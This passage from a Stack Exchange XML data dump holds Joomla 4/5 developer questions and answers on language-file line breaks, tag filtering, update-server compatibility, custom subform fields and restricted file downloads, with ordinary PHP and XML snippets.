  <row Id="33574" PostTypeId="1" CreationDate="2024-01-08T10:54:07.377" Score="1" ViewCount="45" Body="&lt;p&gt;It seems that a fresh install of J5.0.1 does not allow line breaks in the text value part in a component language file. Is this correct?&lt;/p&gt;&#xA;&lt;p&gt;In previous versions you could break long text strings over several lines which was good for readability in editors that don't word-wrap. Any line breaks were converted to spaces.&lt;/p&gt;&#xA;&lt;p&gt;Now when using a previously good language file v5.0.1 simply refuses to load it unless you remove all the line breaks, Surely this is a bug? Its going to be a pain to have to strip line breaks from all language files to make them j5 compatible.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastEditorUserId="12658" LastEditDate="2024-01-08T11:17:29.107" LastActivityDate="2024-01-10T07:26:33.013" Title="Line Breaks in Joomla 5 language fles" Tags="|joomla-4.x|language|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33575" PostTypeId="1" CreationDate="2024-01-08T11:54:15.760" Score="1" ViewCount="80" Body="&lt;p&gt;Joomla 5. I am using the category blog view to show all the articles in a category.&lt;/p&gt;&#xA;&lt;p&gt;I have set up tags and applied them to the articles to enable some kind of filtering on the same page/view?&lt;/p&gt;&#xA;&lt;p&gt;Ideally I wanted a drop down list. How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2024-02-08T11:03:15.380" Title="Category blog view - filter by tags" Tags="|tags|category-blog|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33576" PostTypeId="1" AcceptedAnswerId="33577" CreationDate="2024-01-08T16:16:39.127" Score="2" ViewCount="30" Body="&lt;p&gt;We developed multiple extensions for our clients, but none of them are published on the JED. We also do not want to publish to the JED since they are custom extensions.&lt;/p&gt;&#xA;&lt;p&gt;All our extensions always show up on the Joomla Update Screen under:&#xA;&lt;code&gt;Update Information Unavailable&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;We want them to show up under:&#xA;&lt;code&gt;No Update Required&lt;/code&gt; or &lt;code&gt;Update Required&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So we need to add compatibility information, but we can't find information about this.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone point us in the right direction, please.&lt;/p&gt;&#xA;&lt;p&gt;As example our extension .xml files are like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;module&amp;quot; version=&amp;quot;4&amp;quot; client=&amp;quot;administrator&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;&#xA;...&#xA;&#xA;  &amp;lt;version&amp;gt;1.5.2&amp;lt;/version&amp;gt;&#xA;&#xA;...&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried to keep it as short as possible if more information is required I am happy to provide it.&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2024-01-10T04:28:07.477" Title="Custom Module not on the JED how to show compatibility information?" Tags="|joomla-4.x|xml|extension-update|joomla-5.x|custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33577" PostTypeId="2" ParentId="33576" CreationDate="2024-01-09T09:55:19.270" Score="4" Body="&lt;p&gt;In your manifest .xml file for your extension(s) you can specify the &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; element that provides a link to your own website that contains a .xml file that has details about your extension and whether there is a new release or not.&lt;/p&gt;&#xA;&lt;p&gt;Towards the bottom of this page you can find details on the &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; elements &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Manifest_files&lt;/a&gt; and further links to describe the contents of the .xml file per extension. There is also this page on Update Servers that might help you, &lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Deploying_an_Update_Server&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To answer the compatibility question the &lt;code&gt;&amp;lt;targetplatform&amp;gt;&lt;/code&gt; element of the .xml file on your update server is used to indicate whether the extension is compatible with the current Joomla instance.&lt;/p&gt;&#xA;&lt;p&gt;There is nothing there yet, but this page in the Joomla Programmers manual might help someone who finds this post in the future, &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/update-server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://manual.joomla.org/docs/building-extensions/install-update/update-server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2024-01-10T04:28:07.477" LastActivityDate="2024-01-10T04:28:07.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33578" PostTypeId="2" ParentId="33575" CreationDate="2024-01-09T10:27:31.373" Score="1" Body="&lt;p&gt;It would be great to have a tags filter module for the Category Blog view in the Joomla core but sadly this is not currently the case.&lt;/p&gt;&#xA;&lt;p&gt;The excellent &lt;a href=&quot;https://extensions.joomla.org/extension/tags-filter&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tags - Filter&lt;/a&gt; third party module from Rene Kreijveld provides filtering by tags and does not interfere with the category blog layout but this extension has unfortunately not been updated for Joomla 4 or Joomla 5.&lt;/p&gt;&#xA;&lt;p&gt;There are a few other options that are not quite as elegant solutions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a drop down list or buttons with links like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=9&amp;amp;filter_tag[0]=6&amp;amp;Itemid=125&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Update the blog ID, menu ID and tag ID as needed. In the example above, &amp;quot;6&amp;quot; is the ID of the tag you want to filter on.&lt;/p&gt;&#xA;&lt;p&gt;This works on Joomla 4 and I assume Joomla 5 works the same way.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Brian Teeman has some tips on implementing a tags filter in Joomla 4 using template overrides at &lt;a href=&quot;https://brian.teeman.net/joomla/897-joomla-tags-as-custom-filters&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://brian.teeman.net/joomla/897-joomla-tags-as-custom-filters&lt;/a&gt; and this might also apply to Joomla 5.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are many free and paid third party extensions that enable you to filter by tags but they tend to also override the article layout which you may not want. Examples include:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/jfilters&quot; rel=&quot;nofollow noreferrer&quot;&gt;JFilters&lt;/a&gt; from blue-coder.com Component/Module/Plugin&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/minitek-wall-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minitek Wall&lt;/a&gt; Component/Module&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/responsive-grid-for-articles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minitek Responsive Grid for Articles&lt;/a&gt; Module&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/jt-content-filter&quot; rel=&quot;nofollow noreferrer&quot;&gt;JT Content Filter&lt;/a&gt; Module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2024-01-09T10:57:25.397" LastActivityDate="2024-01-09T10:57:25.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33579" PostTypeId="1" AcceptedAnswerId="33583" CreationDate="2024-01-09T17:12:30.777" Score="0" ViewCount="65" Body="&lt;p&gt;I need to create a custom form which generates an input / text field foreach position that is stored in the database. My Code for this field so far:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    private function buildSubForm(array $positions)&#xA;    {&#xA;        // Create a new form instance.&#xA;        // Instanz des Form-Objekts erstellen&#xA;        $form = new JForm('gameofficials');&#xA;&#xA;        // Build the Form fields based on the positions&#xA;        foreach ($positions as $position)&#xA;        {&#xA;            // Create a new field instance&#xA;            $xml = new SimpleXMLElement('&amp;lt;field name=&amp;quot;position-'.$position-&amp;gt;id.'&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;'.$position-&amp;gt;title.'&amp;quot; /&amp;gt;');&#xA;            // Add the field to the form&#xA;            $form-&amp;gt;setField($xml, $group = null, $replace = true, $fieldset = 'default');&#xA;        }&#xA;&#xA;        return ''; // will be replaced by the form&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far it's quite simple but i'm getting again and again the following error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Error: Joomla\CMS\Form\Form::Joomla\CMS\Form\Form::setField &lt;code&gt;xml&lt;/code&gt; is not an instance of SimpleXMLElement&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've checked my code against &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Advanced_form_guide&lt;/a&gt;&#xA;aswell as &lt;a href=&quot;https://www.techfry.com/joomla/working-with-joomla-forms-using-jform-class&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techfry.com/joomla/working-with-joomla-forms-using-jform-class&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've also tried to simply insert an empty xml as start and add then the fields which didn't work either.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-01-10T17:55:46.840" Title="Create Custom Form via SimpleXMLElement" Tags="|joomla-4.x|form|jform|xml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33580" PostTypeId="2" ParentId="33579" CreationDate="2024-01-09T19:00:07.047" Score="0" Body="&lt;p&gt;There are a few issues with this code:&lt;/p&gt;&#xA;&lt;p&gt;I don't think you are using SimpleXMLElement properly.  This is not an object (in the sense of Object Oriented Programming).&lt;/p&gt;&#xA;&lt;p&gt;This is noted in the first comment on this functions page in the manual.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/class.simplexmlelement.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/class.simplexmlelement.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What you should be doing I believe, is setting up an old fashioned loop to iterate through the xml properties.&lt;/p&gt;&#xA;&lt;p&gt;I don't see any well defined xml in your code at all actually you might want to brush up on this.  It should look something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rootelement metadata=&amp;quot;some metadata&amp;quot;&amp;gt;   &#xA; &amp;lt;nestedelement&amp;gt;&#xA;    here is some actual data   &#xA; &amp;lt;/nestedelement&amp;gt; &#xA;&amp;lt;/rootelement&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2024-01-09T19:00:07.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33581" PostTypeId="2" ParentId="33574" CreationDate="2024-01-10T07:26:33.013" Score="1" Body="&lt;p&gt;This B/C break has been introduced as part of &lt;a href=&quot;https://developer.joomla.org/security-centre/919-20231101-core-exposure-of-environment-variables.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;security fix&lt;/a&gt; in 5.0.1 and 4.4.1. It is possible to fix the vulnerability without introducing this break. A &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/42463&quot; rel=&quot;nofollow noreferrer&quot;&gt;patch&lt;/a&gt; has been submitted to mitigate the issue. However, maintainers have decided to keep it this way.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-01-10T07:26:33.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33583" PostTypeId="2" ParentId="33579" CreationDate="2024-01-10T17:55:46.840" Score="1" Body="&lt;p&gt;Unfortunately the Joomla error message is a bit misleading here. It's not complaining about your &lt;code&gt;$xml&lt;/code&gt; element passed in, but rather than the basic &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; structure hasn't been initialised properly (which it stores in an instance variable called &amp;quot;xml&amp;quot;). You need to do this before you start adding fields to it.&lt;/p&gt;&#xA;&lt;p&gt;To do this add the line below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form = new JForm('gameofficials');&#xA;$form-&amp;gt;load('&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&amp;lt;form&amp;gt; &amp;lt;/form&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By the way, from version 4 the Joomla team prefer people getting the Form instance via the Dependency Injection Container. JForm will disappear at some point:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Form\FormFactoryInterface;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;$form = Factory::getContainer()-&amp;gt;get(FormFactoryInterface::class)-&amp;gt;createForm(&amp;quot;gameofficials&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-01-10T17:55:46.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33584" PostTypeId="1" CreationDate="2024-01-10T19:51:04.077" Score="0" ViewCount="30" Body="&lt;p&gt;I'm looking for a way to provide a &amp;quot;secured&amp;quot; file download for authorized Joomla users (registered user being member of a certain group), but the &amp;quot;link&amp;quot; shall not be usable in any other way, such as copy&amp;amp;paste.&lt;/p&gt;&#xA;&lt;p&gt;What do I mean by &amp;quot;secured&amp;quot;? It means the access to the file is securely restricted, not the actual file transfer, which is secured by enforcing HTTPS only access to the website.&lt;/p&gt;&#xA;&lt;p&gt;I'm using something similar on a small non-Joomla web application as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Files are store in a directory with file mode 700, and files have file mode 600, i.e. only a process running with owner id can physically access the data.&lt;/li&gt;&#xA;&lt;li&gt;Apache is configured to run PHP scripts under the owner id of the script.&lt;/li&gt;&#xA;&lt;li&gt;PHP scripts and above directory/files belong to the same user (UNIX user, not Joomla user)&lt;/li&gt;&#xA;&lt;li&gt;Files are served with the help of some PHP lines as follows:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;header(&amp;quot;Content-Description: File Transfer&amp;quot;);&#xA;header(&amp;quot;Content-type: &amp;quot; . CONTENT_TYPE);&#xA;header(&amp;quot;Content-Disposition: attachment; filename=&amp;quot; . USER_FILENAME);&#xA;header(&amp;quot;Content-Length: &amp;quot; . filesize(SERVER_PATHNAME));&#xA;header(&amp;quot;Pragma: public&amp;quot;);&#xA;header(&amp;quot;Expires: 0&amp;quot;);&#xA;header(&amp;quot;Cache-Control:  must-revalidate, pre-check=0&amp;quot;);&#xA;header(&amp;quot;Cache-Control:  private&amp;quot;, false);&#xA;header(&amp;quot;Connection: close&amp;quot;);&#xA;&#xA;readfile(SERVER_PATHNAME);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I thought I might be able to use above code in a standard Joomla article with the help of Regular Labs &lt;em&gt;Sourcerer&lt;/em&gt; extension. This allows PHP code to be run from within an article (or custom module).&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, this does not work as expected, because Joomla (of course) has already set the HTTP headers before the PHP code will run. Only the readfile() function is honoured, and will force a download action in the browser. But the browser is receiving a text/html file with the page's HTML code instead of the desired file.&lt;/p&gt;&#xA;&lt;p&gt;Now to my question: Is there any way to serve a file from a Joomla page in such a way that not HTML link, such as &lt;code&gt;&amp;lt;a href=&amp;quot;/directory/file-to-download.ext&amp;quot;&amp;gt;&lt;/code&gt; is required? Anything which can be copied an pasted into a browser's address line is what I want to avoid.&lt;/p&gt;&#xA;" OwnerUserId="15238" LastActivityDate="2024-01-10T19:51:04.077" Title="Downloading file from Joomla page or menu item, but prohibit the link from being usable by copy&amp;paste outside of Joomla" Tags="|php|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33585" PostTypeId="1" AcceptedAnswerId="33587" CreationDate="2024-01-11T10:21:56.930" Score="0" ViewCount="41" Body="&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; This is a follow up question upon &lt;a href=&quot;https://joomla.stackexchange.com/questions/33579/create-custom-form-via-simplexmlelement/33583#33583&quot;&gt;Create Custom Form via SimpleXMLElement&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The first issue has been solved, the subform gets rendered, here is my CustomField Code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\Field\SubformField;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Form\FormFactoryInterface;&#xA;use Joomla\Database\DatabaseInterface;&#xA;use SimpleXMLElement;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class OfficialsPositionsField extends SubformField {&#xA;&#xA;    protected $type = 'OfficialsPositions';&#xA;    protected function getInput()&#xA;    {&#xA;        return parent::getInput(); // TODO: Change the autogenerated stub&#xA;    }&#xA;&#xA;    /**&#xA;     * @throws \Exception&#xA;     */&#xA;    public function loadSubForm()&#xA;    {&#xA;        $positions = $this-&amp;gt;getPositionsForOfficials($this-&amp;gt;getCategoryIdForOfficials());&#xA;&#xA;        $form = Factory::getContainer()-&amp;gt;get(FormFactoryInterface::class)-&amp;gt;createForm(&amp;quot;officials&amp;quot;);&#xA;        $form-&amp;gt;load('&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&amp;lt;form&amp;gt; &amp;lt;/form&amp;gt;');&#xA;&#xA;        // Add the fields to the form.&#xA;        foreach ($positions as $position){&#xA;            $xml = new SimpleXMLElement('&amp;lt;field name=&amp;quot;custom_official_'.$position-&amp;gt;id.'&amp;quot; type=&amp;quot;officials&amp;quot; label=&amp;quot;'.$position-&amp;gt;title.'&amp;quot; /&amp;gt;');&#xA;            // Add the field to the form&#xA;            $form-&amp;gt;setField($xml, $group = null, $replace = true, $fieldset = 'default');&#xA;        }&#xA;&#xA;&#xA;        return $form;&#xA;    }&#xA;&#xA;    protected function loadSubFormData(Form $subForm)&#xA;    {&#xA;        echo '&amp;lt;pre&amp;gt;' . var_export($this-&amp;gt;value, true) . '&amp;lt;/pre&amp;gt;'; // &amp;lt;&amp;lt; This is okey the field value (if given) gets loaded from db&#xA;        return parent::loadSubFormData($subForm); // TODO: Change the autogenerated stub&#xA;    }&#xA;&#xA;    protected function getCategoryIdForOfficials()&#xA;    {&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id');&#xA;        $query-&amp;gt;from('#__categories');&#xA;        $query-&amp;gt;where('alias = ' . $db-&amp;gt;quote('official'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $categoryId = $db-&amp;gt;loadResult();&#xA;        return $categoryId;&#xA;    }&#xA;&#xA;    protected function getPositionsForOfficials($categoryId)&#xA;    {&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id, title');&#xA;        $query-&amp;gt;from('#__footballmanager_positions');&#xA;        $query-&amp;gt;where('catid = ' . $categoryId);&#xA;        $query-&amp;gt;order('ordering ASC');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $positions = $db-&amp;gt;loadObjectList();&#xA;&#xA;        return $positions;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J2zvl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J2zvl.png&quot; alt=&quot;Subform creates Selection for each Position that can be generated in another view&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The subform gets displayed in the form by loading the field via XML (name=&amp;quot;officials&amp;quot;) into the component backend item edit view, but on save of the element there is no key  &amp;quot;officials&amp;quot; in the $data array. It's the first time I extend the SubformField so is there a method to call to get the Values? I tough this would work &amp;quot;magically&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Based on Robbie's answer I've checked my console and have done an error_log in my Model inside the save public function:&#xA;error_log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[11-Jan-2024 12:26:55 UTC] Array&#xA;(&#xA;    [id] =&amp;gt; 1&#xA;    [home_team_id] =&amp;gt; 1&#xA;    [away_team_id] =&amp;gt; 1&#xA;    [league_id] =&amp;gt; 1&#xA;    [season_id] =&amp;gt; 1&#xA;    [phase_id] =&amp;gt; 1&#xA;    [location_id] =&amp;gt; 1&#xA;    [kickoff] =&amp;gt; 2024-01-04 22:04:17&#xA;    [home_score] =&amp;gt; 0&#xA;    [away_score] =&amp;gt; 0&#xA;    [home_touchdowns] =&amp;gt; 0&#xA;    [away_touchdowns] =&amp;gt; 0&#xA;    [tickets_link] =&amp;gt; &#xA;    [game_finished] =&amp;gt; 0&#xA;    [game_postponed] =&amp;gt; 0&#xA;    [new_game_id] =&amp;gt; &#xA;    [game_canceled] =&amp;gt; 0&#xA;    [matchday] =&amp;gt; &#xA;    [alias] =&amp;gt; 1-1-2024-01-04-22-04-17&#xA;    [published] =&amp;gt; 1&#xA;    [created_at] =&amp;gt; 2024-01-09 21:04:01&#xA;    [access] =&amp;gt; 1&#xA;    [description] =&amp;gt; &#xA;    [head_referee_id] =&amp;gt; 3&#xA;    [sponsors] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;    [catid] =&amp;gt; 108&#xA;    [tags] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The error_log statement is placed nearly at start of method in the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;    {&#xA;        $app   = Factory::getApplication();&#xA;        $input = $app-&amp;gt;getInput();&#xA;        $user  = $app-&amp;gt;getIdentity();&#xA;&#xA;        // new element tasks&#xA;        if (!isset($data['id']) || (int) $data['id'] === 0)&#xA;        {&#xA;            $data['created_by'] = $user-&amp;gt;id;&#xA;        }&#xA;&#xA;        error_log('save');&#xA;        error_log(print_r($data, true));&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And what my console showed as post:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vRveA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vRveA.png&quot; alt=&quot;Console POST jform&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So does these fields got stripped out because they are not mentioned in the XML? its also not the structure I've awaited - but okey this could be handeled if they are not stripped out. The field that holds this subform (with this fields) is defined as &amp;quot;officials&amp;quot; see row 242: &lt;a href=&quot;https://github.com/marcorensch/com_footballmanager_2/blob/main/administrator/components/com_footballmanager/forms/game.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/com_footballmanager_2/blob/main/administrator/components/com_footballmanager/forms/game.xml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Btw. The Repo is public here: &lt;a href=&quot;https://github.com/marcorensch/com_footballmanager_2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/com_footballmanager_2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2024-01-11T12:41:21.610" LastActivityDate="2024-01-11T15:04:24.480" Title="Store Custom Subform Field Value in DB" Tags="|joomla-4.x|custom-component|custom-field|subform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33587" PostTypeId="2" ParentId="33585" CreationDate="2024-01-11T11:56:40.623" Score="2" Body="&lt;p&gt;I think this might be because you haven't got your officials fields within the 'jform' array.&lt;/p&gt;&#xA;&lt;p&gt;When you create a form via your model, you'll call&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form = $this-&amp;gt;loadForm(&#xA;        'com_something.xxx',&#xA;        'myname',&#xA;        array(&#xA;            'control' =&amp;gt; 'jform',&#xA;            'load_data' =&amp;gt; $loadData&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The 'control' option is then used as the name of the array into which the form fields are inserted in the HTTP POST generated by the form submit. If you don't specify anything here then it takes 'jform' as the default.&lt;/p&gt;&#xA;&lt;p&gt;However when you create a Form manually then it doesn't provide a default and you have to call:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $form = Factory::getContainer()-&amp;gt;get(FormFactoryInterface::class)-&amp;gt;createForm(&amp;quot;officials&amp;quot;, array(&amp;quot;control&amp;quot; =&amp;gt; &amp;quot;jform&amp;quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(or whatever name you specified for the 'control' option).&lt;/p&gt;&#xA;&lt;p&gt;You can check this in your browser devtools. Look at the Request of your HTTP POST, and ensure that in the payload the &amp;quot;name&amp;quot; field of your officials fields is of the same format as your other fields.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-01-11T11:56:40.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33588" PostTypeId="2" ParentId="33585" CreationDate="2024-01-11T13:36:23.133" Score="0" Body="&lt;p&gt;Okey now it works, I've checked the main subform code, created an empty XML file and combined it like so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;subform_officials.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;!-- Repeatable Subform --&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;game.xml&lt;/strong&gt; (where the subform field gets loaded:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;field&#xA;                name=&amp;quot;officials&amp;quot;&#xA;                type=&amp;quot;OfficialsPositions&amp;quot;&#xA;                label=&amp;quot;COM_FOOTBALLMANAGER_FIELD_OFFICIALS_LABEL&amp;quot;&#xA;                min=&amp;quot;1&amp;quot;&#xA;                max=&amp;quot;1&amp;quot;&#xA;                layout=&amp;quot;joomla.form.field.subform.repeatable&amp;quot;&#xA;                multiple=&amp;quot;false&amp;quot;&#xA;                formsource=&amp;quot;administrator/components/com_footballmanager/forms/subform_officials.xml&amp;quot;&#xA;        /&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;OfficialsPositionsField&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\Field\SubformField;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\Database\DatabaseInterface;&#xA;use SimpleXMLElement;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class OfficialsPositionsField extends SubformField {&#xA;&#xA;    protected $type = 'OfficialsPositions';&#xA;&#xA;    /**&#xA;     * @throws \Exception&#xA;     */&#xA;    public function loadSubForm()&#xA;    {&#xA;        $positions = $this-&amp;gt;getPositionsForOfficials($this-&amp;gt;getCategoryIdForOfficials());&#xA;        $control = $this-&amp;gt;name;&#xA;&#xA;        // Prepare the form template&#xA;        $formname = 'subform.' . str_replace(['jform[', '[', ']'], ['', '.', ''], $this-&amp;gt;name);&#xA;        $tmpl     = Form::getInstance($formname, $this-&amp;gt;formsource, ['control' =&amp;gt; $control]);&#xA;&#xA;        // Add the fields to the form.&#xA;        foreach ($positions as $position){&#xA;            $xml = new SimpleXMLElement('&amp;lt;field name=&amp;quot;custom_official_'.$position-&amp;gt;id.'&amp;quot; type=&amp;quot;officials&amp;quot; label=&amp;quot;'.$position-&amp;gt;title.'&amp;quot; /&amp;gt;');&#xA;            // Add the field to the form&#xA;            $tmpl-&amp;gt;setField($xml, $group = null, $replace = true, $fieldset = 'default');&#xA;        }&#xA;        &#xA;        return $tmpl;&#xA;    }&#xA;&#xA;    protected function getCategoryIdForOfficials()&#xA;    {&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id');&#xA;        $query-&amp;gt;from('#__categories');&#xA;        $query-&amp;gt;where('alias = ' . $db-&amp;gt;quote('official'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $categoryId = 